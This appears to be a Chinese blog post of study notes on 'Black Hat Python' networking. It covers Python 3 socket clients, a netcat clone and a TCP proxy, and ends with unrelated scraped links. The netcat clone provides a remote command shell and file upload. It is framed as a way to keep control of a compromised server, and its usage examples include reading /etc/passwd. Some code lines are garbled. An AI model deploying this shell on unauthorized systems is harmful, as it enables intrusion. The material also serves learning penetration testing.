python3黑帽子渗透笔记第二章--网络基础
1 先来看看不可少的socket模块
(1)tcp_client.py
在渗透测试过程中,创建一个tcp客户端连接服务,发送垃圾数据,进行模糊测试等。
(2)udp_client.py
2 nc工具的实现
进入服务器以后如果没有安装nc,这个时候却有,这样子可以创建简单的客户端和服务器传递使用的文件,或者创建监听让自己拥有控制命令行的操作权限
需要学习的模块
(1)getopt模块处理命令行
(2)threading模块
(3)socket模块
(4)subprocess模块
#!/usr/bin/env python3
# coding=utf-8
import sys
from socket import *
import getopt # 用来处理命令行参数
import threading
import subprocess # 启动一个shell,并控制输入输出 # -e和-p有问题,mac下运行没什么问题,win下有问题,运行的命令会出现问题。
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0 #帮助提示
def usage():
print("netcat")
print("Usage:nc_hacker.py -t target_host -p target_port")
print("-l --listen - listen on [host]:[port] for incoming connections")
print("-e --execute=ile_to_run - execute the given file upon receiving a connection")
print("-c --command - initialize a command shell")
print("-u --upload=destination - upon receiving connection upload a file and write to [destination]")
print("Examples: ")
print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -c")
print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe")
print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"")
print("echo 'ABCDEFGHI' | ./nc_hacker.py -t 192.168.11.12 -p 135")
sys.exit(0) # 主函数
def main():
global listen
global port
global execute
global command
global upload_destination
global target
# 没有输入值就显示菜单
if not len(sys.argv[1:]):
usage()
try:
# getopt模块处理命令行,
# h后面没有冒号:表示后面不带参数,p:和i:后面有冒号表示后面需要参数
# help后面没有等号=,表示后面不带参数,有=,表示后面需要参数
# 返回值options是个包含元祖的列表,每个元祖是分析出来的格式信息,比如[('-i','127.0.0.1'),('-p','80')]
# args 是个列表,包含那些没有‘-’或‘--’的参数,比如:['55','66']
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help", "listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o, a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--command"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
print("unhandled option")
# 从标准输入中发送数据
if not listen and len(target) and port > 0:
# 读取输入的数据
# 这里将阻塞,发送ctrl-d使用
buffer = input() # sys.stdin.read()
# 发送数据
client_sender(buffer)
# 进行监听
if listen:
print('the server is listening on %s:%d' % (target, port))
server_loop() # 客户端代码
def client_sender(buffer):
client = socket(AF_INET, SOCK_STREAM)
try:
print("start connecting...")
client.connect((target, port))
print("connected")
# 如果我们检测到来自stdin的输入。
# 如果不是,我们就等待用户输入。
if len(buffer):
client.send(buffer)
while True:
# 等待数据回传
recv_len = 1
response = ""
print("waiting response:")
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data.decode("utf-8")
if recv_len < 4096:
break
print(response, end="")
# 等待更多输入
buffer = input("")
buffer += "\n"
client.send(buffer.encode("utf-8"))
except:
print("[*] Exception! Exiting.")
# 断开连接
client.close() # 服务端代码
def server_loop():
global target, port # 如果没有定义目标,就监听所有接口
if not len(target):
target = "0.0.0.0"
server = socket(AF_INET, SOCK_STREAM)
server.bind((target, port))
server.listen(5) while True:
client_socket, addr = server.accept()
# print(client_socket)<socket._socketobject object at 0x107552d00>
# 分出一个线程来处理新的客户端
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start() # -c命令
def run_command(command):
# 返回从字符串末尾删除所有字符串的字符串(默认空白字符)的副本
command = command.rstrip()
# 运行命令并将输出返回
try:
# subprocess.STDOUT是抛出异常。
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execute command.\r\n"
# 将输出发送
return output # 处理传入的客户端连接
def client_handler(client_socket):
global upload, execute,
# 检测上传文件command
if len(upload_destination):
# 读取所有的字节并写入
file_buffer = ""
# 持续读取数据直到没有数据可用为止,有问题
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
# 现在我们取这些字节并试着把它们写出来。
try:
print('opening')
#打开文件并写入
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_buffer)
print('written')
file_descriptor.close() # 确认文件是否上传
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
# 检查命令执行
if len(execute):
# 运行命令
output = run_command(execute)
client_socket.send(output)
# 如果需要一个命令shell,那我们进入另一个循环,。
if command:
while True:
# 跳出一个窗口
client_socket.send(b"<netcat:#> ")
# 现在我们接收文件直到发现换行符(enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024).decode("utf-8")
# 返还命令输出
response = run_command(cmd_buffer)
# 返回相应数据
client_socket.send(response) if __name__ == "__main__":
main()
3 tcp代理的实现
了解未知的协议,修改发送到应用的数据包或者为模糊测试创建一个测试环境。
思路:
server_loop中循环接受---->每接受一次连接就开启线程执行proxy_handler----->连接目标主机----->本地读取发送目标主机
#!/usr/bin/env python3
# coding=utf-8
import sys
from socket import *
import threading # 16进制导出函数
def hexdump(src, length=16):
result = []
# 判读输入是否为字符串
digits = 4 if isinstance(src, str) else 2
for i in range(0, len(src), length):
# 将字符串切片为16个为一组
s = src[i:i + length]
# 用16进制来输出,x是digits的值,表示输出宽度
hexa = ' '.join(["%0*X" % (digits, (x)) for x in s])
# 用来输出原值
text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s])
# %-*s, 星号是length*(digits + 1)的值
result.append("%04X %-*s %s" % (i, length * (digits + 1), hexa, text))
print('\n'.join(result)) # 设置延时有问题,后续更改
def receive_from(connection):
buffer = b""
# 设置5s延迟,connection=socket(AF_INET, SOCK_STREAM)
connection.settimeout(5)
try:
# 保持数据的读取直到没有数据或超时
while True:
data = connection.recv(4096)
if not data:
break
buffer += data
except:
pass
return buffer # 对目标主机的请求数据进行修改
def request_handler(buffer):
return buffer # 对返回本地主机的响应数据进行修改
def response_handler(buffer):
return buffer def proxy_handler(client_socket, target_host, target_port, receive_first):
# 连接目标主机
target_socket = socket(AF_INET, SOCK_STREAM)
target_socket.connect((target_host, target_port)) # 必要时从目标主机接收数据
if receive_first:
target_buffer = receive_from(target_socket)
hexdump(target_buffer)
# 发送给我们的响应处理程序
target_buffer = response_handler(target_buffer)
# 如果要发送数据给本地客户端,发送它
if len(target_buffer):
print("[<==] Sending %d bytes to localhost." % len(target_buffer))
client_socket.send(target_buffer) # 现在我们从本地循环读取数据,发送给远程主机和本地主机
while True:
# 从本地读取数据
local_buffer = receive_from(client_socket)
if len(local_buffer):
print("[==>] Received %d bytes from localhost." % len(local_buffer))
hexdump(local_buffer)
# 发送给我们的本地请求
local_buffer = request_handler(local_buffer)
# 发送数据给目标主机
target_socket.send(local_buffer)
print("[==>] Sent to target.") # 接收响应的数据
target_buffer = receive_from(target_socket) if len(target_buffer):
print("[<==] Received %d bytes from target." % len(target_buffer))
hexdump(target_buffer)
# 发送到响应处理函数
target_buffer = response_handler(target_buffer)
# 将响应发送给本地socket
client_socket.send(target_buffer)
print("[<==] Sent to localhost.") # 两边没有数据了,就关闭连接
if not len(local_buffer) or not len(target_buffer):
client_socket.close()
target_socket.close()
print("[*] No more data. Closing connections.")
break def server_loop(local_host, local_port, target_host, target_port, receive_first):
server = socket(AF_INET, SOCK_STREAM)
try:
server.bind((local_host, local_port))
except:
print("[!!] Failed to listen on %s:%d" % (local_host, local_port))
print("[!!] Check for other listening sockets or correct permissions.")
sys.exit(0) print("[*] Listening on %s:%d" % (local_host, local_port)) server.listen(5) while True:
client_socket, addr = server.accept()
# 本地连接信息
print("[==>] Received incoming connection from %s:%d" % (addr[0], addr[1]))
# 开启线程和目标主机通信
proxy_thread = threading.Thread(target=proxy_handler,
args=(client_socket, target_host, target_port, receive_first))
proxy_thread.start() def main():
if len(sys.argv[1:]) != 5:
print("Usage: ./proxy.py [localhost] [localport] [targethost] [targetport] [receive_first]")
print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
sys.exit(0)
# 本地参数
local_host = sys.argv[1]
local_port = int(sys.argv[2])
# 目标参数
target_host = sys.argv[3]
target_port = int(sys.argv[4]) receive_first = sys.argv[5] if "True" in receive_first:
receive_first = True
else:
receive_first = False # 开始监听
server_loop(local_host, local_port, target_host, target_port, receive_first) main()
python3黑帽子渗透笔记第二章--网络基础的更多相关文章
- 《图解HTTP》阅读笔记---第一章网络基础
第一章.网络基础TCP/IP:----------传输控制协议Transmission Control Protocol / 网络协议Internet Protocol是一种用于Internet(因特 ...
- Android群英传笔记——第二章:Android开发工具新接触
Android群英传笔记--第二章:Android开发工具新接触 其实这一章并没什么可讲的,前面的安装Android studio的我们可以直接跳过,如果有兴趣的,可以去看看Google主推-Andr ...
- 《DOM Scripting》学习笔记-——第二章 js语法
<Dom Scripting>学习笔记 第二章 Javascript语法 本章内容: 1.语句. 2.变量和数组. 3.运算符. 4.条件语句和循环语句. 5.函数和对象. 语句(stat ...
- The Road to learn React书籍学习笔记(第二章)
The Road to learn React书籍学习笔记(第二章) 组件的内部状态 组件的内部状态也称为局部状态,允许保存.修改和删除在组件内部的属性,使用ES6类组件可以在构造函数中初始化组件的状 ...
- 深入理解 C 指针阅读笔记 -- 第二章
Chapter2.h #ifndef __CHAPTER_2_ #define __CHAPTER_2_ /*<深入理解C指针>学习笔记 -- 第二章*/ /* 内存泄露的两种形式 1.忘 ...
- [HeadFrist-HTMLCSS学习笔记]第二章深入了解超文本:认识HTML中的“HT”
[HeadFrist-HTMLCSS学习笔记]第二章深入了解超文本:认识HTML中的"HT" 敲黑板!!! 创建HTML超链接 <a>链接文本(此处会有下划线,可以单击 ...
- RxJava2实战--第二章 RxJava基础知识
第二章 RxJava基础知识 1. Observable 1.1 RxJava的使用三步骤 创建Observable 创建Observer 使用subscribe()进行订阅 Observable.j ...
- java面向对象编程——第二章 java基础语法
第二章 java基础语法 1. java关键字 abstract boolean break byte case catch char class const continue default do ...
- STL源码分析读书笔记--第二章--空间配置器(allocator)
声明:侯捷先生的STL源码剖析第二章个人感觉讲得蛮乱的,而且跟第三章有关,建议看完第三章再看第二章,网上有人上传了一篇读书笔记,觉得这个读书笔记的内容和编排还不错,我的这篇总结基本就延续了该读书笔记的 ...
随机推荐
- 《CoderXiaoban》第八次团队作业:Alpha冲刺
项目 内容 这个作业属于哪个课程 任课教师博客主页链接 这个作业的要求在哪里 实验十二 团队作业8:软件测试与ALPHA冲刺 团队名称 Coderxiaoban团队 作业学习目标 (1)掌握软件测试基 ...
- CodeForces - 83D:Numbers (数学&递归 - min25筛 )
pro:给定三个整数L,R,P求[L,R]区间的整数有多少个是以P为最小因子的.L,R,P<2e9; sol: 一: 比较快的做法是,用函数的思想递归. 用solve(N,P)表示求1到N有多少 ...
- dbt 集成presto试用
dbt 团队提供了presto 的adapter同时也是一个不错的的参考实现,可以学习 当前dbt presto 对于版本的要求是0.13.1 对于当前最新版本的还不支持,同时需要使用源码安装pip ...
- rollup node.js 打包工具
最近在做一个提供给浏览器和node同时使用的js的url模板工具类,在用什么打包工具上纠结了一段时间,正好有一天在知乎上看到了关于rollup的介绍,在自己试了试之后,就决定用rollup.js来打包 ...
- 【NOIP2017模拟测试(10-28)】平衡树
平衡树解题报告 Description 小D最近又在种树,可是他的种树技巧还是很差,种出的树都长的歪七扭八,为了让树变得平衡一些,小D决定从树上删掉一条边,然后再加上一条边,使得到的仍然是一棵树并且这 ...
- 修改elementUI源码新增组件/修改组件
前言 经常我们会遇到elementUI组件库期间有5%达不到我们想要的需求,第一我们重新写组件,第二我们改源码 安装element https://github.com/ElemeFE/element ...
- 坑:jmeter部署AWS云服务器时出现连接超时Non HTTP response code: org.apache.http.conn.HttpHostConnectException
背景: jmeter脚本部署到云服务器(AWS EC2)公网上时,启动jmeter脚本运行了5个小时才运行完毕,后面发现脚本报错timeout(如图),找了很久不知道原因,后面进入脚本发现全部在报错. ...
- rust所有权
所有权与函数 fn main() { let s = String::from("hello"); takes_ownership(s); //s的值移动到函数里 let x = ...
- 【转】ANDROIDROM制作(一)——ROM结构介绍、精简和内置、一般刷机过程
作为对Rom制作的一个总结,本节主要介绍以下内容: 1.Rom介绍 2.Rom文件结构 3.app的精简与内置 4.Recovery简介 5.radio包简介 6.一般刷机过程.刷机过程中 ...
- func 传参异步方法
public async Task<T> AssignAsync<T>(string key, Func<T> acquire) {} var result = a ...